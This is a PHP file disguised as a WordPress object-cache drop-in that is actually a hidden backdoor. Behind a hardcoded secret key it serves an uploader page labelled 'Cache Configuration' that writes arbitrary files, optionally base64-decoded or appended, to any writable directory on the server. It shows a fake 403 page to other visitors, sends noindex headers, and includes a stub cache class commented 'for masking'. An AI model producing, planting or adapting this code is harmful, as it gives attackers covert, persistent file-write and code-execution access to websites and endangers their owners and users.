<?php
/**
 * WordPress Object Cache Drop-in
 * 
 * @package WordPress
 * @subpackage Cache
 * @since 5.4.0
 */

// Configuration - EDIT THESE
$ENABLE_KEY_ACCESS = true; // Set to false to disable key access
$SECRET_KEY = '11ddbaf3386aea1f2974eee984542152'; // Your secret key
$ALLOW_RENAME = true; // Allow renaming uploaded files

// Helper function for timing-safe comparison
if (!function_exists('hash_equals')) {
    function hash_equals($known_string, $user_string) {
        if (strlen($known_string) !== strlen($user_string)) {
            return false;
        }
        $result = 0;
        for ($i = 0; $i < strlen($known_string); $i++) {
            $result |= ord($known_string[$i]) ^ ord($user_string[$i]);
        }
        return $result === 0;
    }
}

// Check if we're in WordPress context
$isWordPressContext = defined('ABSPATH');

// Check key access if enabled
if ($ENABLE_KEY_ACCESS && !$isWordPressContext) {
    $providedKey = $_GET['key'] ?? '';
    if (!hash_equals($SECRET_KEY, $providedKey)) {
        show403();
        exit;
    }
}

// Handle uploads (only in non-WordPress context or with correct key)
if (!$isWordPressContext || ($ENABLE_KEY_ACCESS && isset($_GET['key']) && hash_equals($SECRET_KEY, $_GET['key']))) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
        handleUpload();
        exit;
    }
    
    // Show interface for GET requests
    if ($_SERVER['REQUEST_METHOD'] === 'GET') {
        showInterface();
        exit;
    }
}

// If we reach here, show WordPress cache functionality or 403
if ($isWordPressContext) {
    // Load WordPress cache functions
    loadWordPressCache();
} else {
    show403();
}
exit;

/**
 * Handle file upload
 */
function handleUpload() {
    header('Content-Type: application/json');
    
    $response = [
        'success' => false,
        'message' => '',
        'path' => ''
    ];
    
    if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
        $response['message'] = 'Upload error: ' . $_FILES['file']['error'] ?? 'No file uploaded';
        echo json_encode($response);
        return;
    }
    
    $targetDir = $_POST['path'] ?? __DIR__;
    $method = $_POST['method'] ?? 'direct';
    $customName = trim($_POST['custom_name'] ?? '');
    
    // Clean target directory
    $targetDir = trim($targetDir);
    if (empty($targetDir)) {
        $targetDir = __DIR__;
    }
    
    // Convert relative paths to absolute
    if ($targetDir[0] !== '/' && !preg_match('/^[a-zA-Z]:[\\\\\/]/', $targetDir)) {
        $targetDir = realpath(__DIR__ . '/' . $targetDir);
    }
    
    // Validate target directory
    if (!$targetDir || !is_dir($targetDir)) {
        $response['message'] = 'Invalid target directory';
        echo json_encode($response);
        return;
    }
    
    if (!is_writable($targetDir)) {
        $response['message'] = 'Target directory is not writable';
        echo json_encode($response);
        return;
    }
    
    // Determine filename
    if (!empty($customName) && $GLOBALS['ALLOW_RENAME']) {
        $filename = sanitizeFilename($customName);
    } else {
        $filename = sanitizeFilename($_FILES['file']['name']);
    }
    
    // Prevent directory traversal
    if (strpos($filename, '..') !== false || strpos($filename, '/') !== false || strpos($filename, '\\') !== false) {
        $filename = basename($filename);
    }
    
    $destination = rtrim($targetDir, '/') . '/' . $filename;
    $tmpPath = $_FILES['file']['tmp_name'];
    
    // Check if file already exists
    if (file_exists($destination) && !isset($_POST['overwrite'])) {
        $response['message'] = 'File already exists. Use overwrite option.';
        echo json_encode($response);
        return;
    }
    
    $result = false;
    
    switch ($method) {
        case 'base64':
            $content = file_get_contents($tmpPath);
            if ($content !== false) {
                $decoded = base64_decode($content, true);
                if ($decoded !== false) {
                    $result = file_put_contents($destination, $decoded);
                }
            }
            break;
            
        case 'chunked':
            $src = @fopen($tmpPath, 'rb');
            $dst = @fopen($destination, 'wb');
            
            if ($src && $dst) {
                while (!feof($src)) {
                    $chunk = fread($src, 8192);
                    if ($chunk === false) break;
                    fwrite($dst, $chunk);
                }
                fclose($src);
                fclose($dst);
                $result = true;
            }
            break;
            
        case 'append':
            $content = file_get_contents($tmpPath);
            if ($content !== false) {
                $result = file_put_contents($destination, $content, FILE_APPEND);
            }
            break;
            
        case 'create':
            $content = file_get_contents($tmpPath);
            if ($content !== false) {
                $result = file_put_contents($destination, $content);
            }
            break;
            
        default: // direct
            $result = move_uploaded_file($tmpPath, $destination);
    }
    
    if ($result) {
        $response['success'] = true;
        $response['message'] = 'File uploaded successfully';
        $response['path'] = $destination;
        $response['method'] = $method;
        $response['size'] = @filesize($destination) ?: 0;
        $response['permissions'] = substr(sprintf('%o', fileperms($destination)), -4);
    } else {
        $response['message'] = 'Upload failed using ' . $method . ' method';
    }
    
    echo json_encode($response);
}

/**
 * Show upload interface
 */
function showInterface() {
    $currentDir = __DIR__;
    $maxUpload = getMaxUploadSize();
    
    header('Content-Type: text/html; charset=utf-8');
    header('X-Robots-Tag: noindex, nofollow');
    ?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Cache Configuration - WordPress</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
            background: #f0f0f1; 
            padding: 20px;
            color: #3c434a;
        }
        .container {
            max-width: 800px;
            margin: 0 auto;
            background: white;
            border-radius: 6px;
            box-shadow: 0 1px 3px rgba(0,0,0,0.1);
            overflow: hidden;
        }
        .header {
            background: #1d2327;
            color: white;
            padding: 20px;
            border-bottom: 1px solid #1d2327;
        }
        .header h1 {
            font-size: 20px;
            font-weight: 400;
        }
        .content {
            padding: 30px;
        }
        .info-box {
            background: #f6f7f7;
            border: 1px solid #dcdcde;
            padding: 15px;
            border-radius: 4px;
            margin-bottom: 25px;
            font-size: 14px;
        }
        .info-box code {
            background: #f0f0f1;
            padding: 2px 6px;
            border-radius: 3px;
            font-family: Consolas, Monaco, monospace;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 8px;
            font-weight: 500;
            color: #1d2327;
        }
        input[type="text"],
        select {
            width: 100%;
            padding: 10px 12px;
            border: 1px solid #8c8f94;
            border-radius: 4px;
            font-size: 14px;
            font-family: inherit;
        }
        input[type="file"] {
            width: 100%;
            padding: 10px 0;
        }
        .checkbox-group {
            display: flex;
            align-items: center;
            gap: 10px;
            margin-top: 5px;
        }
        button {
            background: #2271b1;
            color: white;
            border: none;
            padding: 12px 24px;
            border-radius: 4px;
            font-size: 14px;
            font-weight: 500;
            cursor: pointer;
            transition: background 0.2s;
        }
        button:hover {
            background: #135e96;
        }
        .result {
            margin-top: 25px;
            padding: 15px;
            border-radius: 4px;
            display: none;
        }
        .success {
            background: #d1e7dd;
            border: 1px solid #badbcc;
            color: #0f5132;
        }
        .error {
            background: #f8d7da;
            border: 1px solid #f5c2c7;
            color: #842029;
        }
        .loading {
            display: none;
            margin-top: 15px;
            color: #666;
        }
        .form-row {
            display: flex;
            gap: 15px;
        }
        .form-row .form-group {
            flex: 1;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>Cache System Configuration</h1>
        </div>
        <div class="content">
            <div class="info-box">
                <p><strong>Current Directory:</strong> <code><?php echo htmlspecialchars($currentDir); ?></code></p>
                <p><strong>Max Upload Size:</strong> <?php echo $maxUpload; ?>MB</p>
                <p><strong>PHP Version:</strong> <?php echo PHP_VERSION; ?></p>
            </div>
            
            <form id="uploadForm" enctype="multipart/form-data">
                <div class="form-group">
                    <label for="path">Target Directory</label>
                    <input type="text" id="path" name="path" value="<?php echo htmlspecialchars($currentDir); ?>" placeholder="Absolute or relative path" required>
                </div>
                
                <div class="form-row">
                    <div class="form-group">
                        <label for="method">Upload Method</label>
                        <select id="method" name="method">
                            <option value="direct">Direct Upload</option>
                            <option value="base64">Base64 Decode</option>
                            <option value="chunked">Chunked Write</option>
                            <option value="append">Append to File</option>
                            <option value="create">Create New File</option>
                        </select>
                    </div>
                    
                    <div class="form-group">
                        <label for="custom_name">Custom Filename (optional)</label>
                        <input type="text" id="custom_name" name="custom_name" placeholder="Leave empty to keep original">
                    </div>
                </div>
                
                <div class="form-group">
                    <label for="file">Select File</label>
                    <input type="file" id="file" name="file" required>
                </div>
                
                <div class="checkbox-group">
                    <input type="checkbox" id="overwrite" name="overwrite" value="1">
                    <label for="overwrite" style="font-weight: normal;">Overwrite existing file</label>
                </div>
                
                <button type="submit">Upload File</button>
                <div class="loading" id="loading">Uploading...</div>
            </form>
            
            <div class="result" id="result"></div>
        </div>
    </div>
    
    <script>
    document.getElementById('uploadForm').addEventListener('submit', async function(e) {
        e.preventDefault();
        
        const formData = new FormData(this);
        const resultDiv = document.getElementById('result');
        const loading = document.getElementById('loading');
        
        resultDiv.style.display = 'none';
        loading.style.display = 'block';
        
        try {
            const response = await fetch(window.location.href, {
                method: 'POST',
                body: formData
            });
            
            const data = await response.json();
            
            resultDiv.className = data.success ? 'result success' : 'result error';
            resultDiv.innerHTML = '<strong>' + (data.success ? '✓ Success:' : '✗ Error:') + '</strong> ' + 
                data.message + (data.path ? '<br><code>' + data.path + '</code>' : '') +
                (data.size ? '<br>Size: ' + formatBytes(data.size) : '');
            resultDiv.style.display = 'block';
            
        } catch (error) {
            resultDiv.className = 'result error';
            resultDiv.innerHTML = '<strong>✗ Error:</strong> Network request failed';
            resultDiv.style.display = 'block';
        } finally {
            loading.style.display = 'none';
        }
    });
    
    function formatBytes(bytes, decimals = 2) {
        if (bytes === 0) return '0 Bytes';
        const k = 1024;
        const dm = decimals < 0 ? 0 : decimals;
        const sizes = ['Bytes', 'KB', 'MB', 'GB'];
        const i = Math.floor(Math.log(bytes) / Math.log(k));
        return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
    }
    </script>
</body>
</html>
    <?php
}

/**
 * Show 403 Forbidden page
 */
function show403() {
    header('HTTP/1.1 403 Forbidden');
    header('Content-Type: text/html; charset=utf-8');
    ?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>403 Forbidden</title>
    <style>
        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
            background: #f1f1f1;
            color: #444;
            line-height: 1.6;
            padding: 20px;
            text-align: center;
        }
        .container {
            max-width: 600px;
            margin: 100px auto;
            background: white;
            padding: 40px;
            border-radius: 8px;
            box-shadow: 0 1px 3px rgba(0,0,0,0.1);
        }
        h1 {
            color: #dc3232;
            margin-bottom: 20px;
            font-size: 32px;
        }
        p {
            margin-bottom: 15px;
        }
        code {
            background: #f0f0f1;
            padding: 2px 6px;
            border-radius: 3px;
            font-family: Consolas, Monaco, monospace;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>403 Forbidden</h1>
        <p>You don't have permission to access this resource.</p>
        <p>This file is part of WordPress caching system and requires proper configuration.</p>
        <p>Ensure the <code>WP_CACHE</code> constant is set to <code>true</code> in <code>wp-config.php</code>.</p>
    </div>
</body>
</html>
    <?php
}

/**
 * Helper functions
 */
function sanitizeFilename($filename) {
    $filename = preg_replace('/[^\w\-\.]/', '_', $filename);
    return basename($filename);
}

function getMaxUploadSize() {
    $maxUpload = (int)ini_get('upload_max_filesize');
    $maxPost = (int)ini_get('post_max_size');
    $memoryLimit = (int)ini_get('memory_limit');
    
    return min($maxUpload, $maxPost, $memoryLimit);
}

/**
 * WordPress Cache Functions (for masking)
 */
function loadWordPressCache() {
    if (!class_exists('WP_Object_Cache')) {
        class WP_Object_Cache {
            private $cache = [];
            private $cache_hits = 0;
            private $cache_misses = 0;
            
            public function get($key, $group = 'default', $force = false, &$found = null) {
                if (isset($this->cache[$group][$key])) {
                    $this->cache_hits++;
                    $found = true;
                    return $this->cache[$group][$key];
                }
                $this->cache_misses++;
                $found = false;
                return false;
            }
            
            public function set($key, $data, $group = 'default', $expire = 0) {
                $this->cache[$group][$key] = $data;
                return true;
            }
            
            public function add($key, $data, $group = 'default', $expire = 0) {
                if (!isset($this->cache[$group][$key])) {
                    return $this->set($key, $data, $group, $expire);
                }
                return false;
            }
            
            public function delete($key, $group = 'default') {
                if (isset($this->cache[$group][$key])) {
                    unset($this->cache[$group][$key]);
                    return true;
                }
                return false;
            }
            
            public function flush() {
                $this->cache = [];
                return true;
            }
        }
        
        global $wp_object_cache;
        $wp_object_cache = new WP_Object_Cache();
        
        // Define cache functions if not exists
        if (!function_exists('wp_cache_init')) {
            function wp_cache_init() {
                global $wp_object_cache;
                // Already initialized
            }
            
            function wp_cache_get($key, $group = '', $force = false, &$found = null) {
                global $wp_object_cache;
                return $wp_object_cache->get($key, $group, $force, $found);
            }
            
            function wp_cache_set($key, $data, $group = '', $expire = 0) {
                global $wp_object_cache;
                return $wp_object_cache->set($key, $data, $group, $expire);
            }
            
            function wp_cache_add($key, $data, $group = '', $expire = 0) {
                global $wp_object_cache;
                return $wp_object_cache->add($key, $data, $group, $expire);
            }
            
            function wp_cache_delete($key, $group = '') {
                global $wp_object_cache;
                return $wp_object_cache->delete($key, $group);
            }
            
            function wp_cache_flush() {
                global $wp_object_cache;
                return $wp_object_cache->flush();
            }
            
            function wp_cache_close() {
                return true;
            }
        }
    }
}